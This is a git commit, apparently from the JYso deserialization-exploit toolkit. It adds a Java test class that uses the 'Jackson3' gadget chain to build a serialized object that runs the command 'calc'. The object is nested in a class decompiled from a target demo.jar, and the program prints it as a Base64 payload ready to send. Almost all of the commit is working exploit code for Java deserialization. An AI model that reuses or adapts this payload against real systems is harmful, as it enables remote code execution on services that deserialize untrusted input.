feat: I helped YJ

This commit is contained in:
qi4L
2025-09-10 22:23:03 +08:00
parent 5667002721
commit 2431b0643e
6 changed files with 128 additions and 183 deletions
@@ -0,0 +1,28 @@
package com.example.demo.demos.web;
import com.qi4l.JYso.gadgets.ObjectPayload;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class Test {
public static void main(String[] args) throws Exception {
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass("Jackson3");
ObjectPayload payload = payloadClass.newInstance();
Object object = payload.getObject("calc");
secCig rootObj = new secCig();
rootObj.setMessage("qi4l");
rootObj.setSecObject(object);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(rootObj);
oos.close();
byte[] payloadBytes = baos.toByteArray();
String base64Payload = Base64.getEncoder().encodeToString(payloadBytes);
System.out.println(base64Payload);
}
}
@@ -0,0 +1,22 @@
package com.example.demo.demos.web;
import java.io.Serializable;
/* loaded from: demo.jar:com/example/demo/demos/web/secCig.class */
public class secCig implements Serializable {
private static final long serialVersionUID = 1;
public String message;
public Object secObject;
public String toString() {
return "secCig{message='" + this.message + "'}";
}
public void setMessage(String message) {
this.message = message;
}
public void setSecObject(Object secObject) {
this.secObject = secObject;
}
}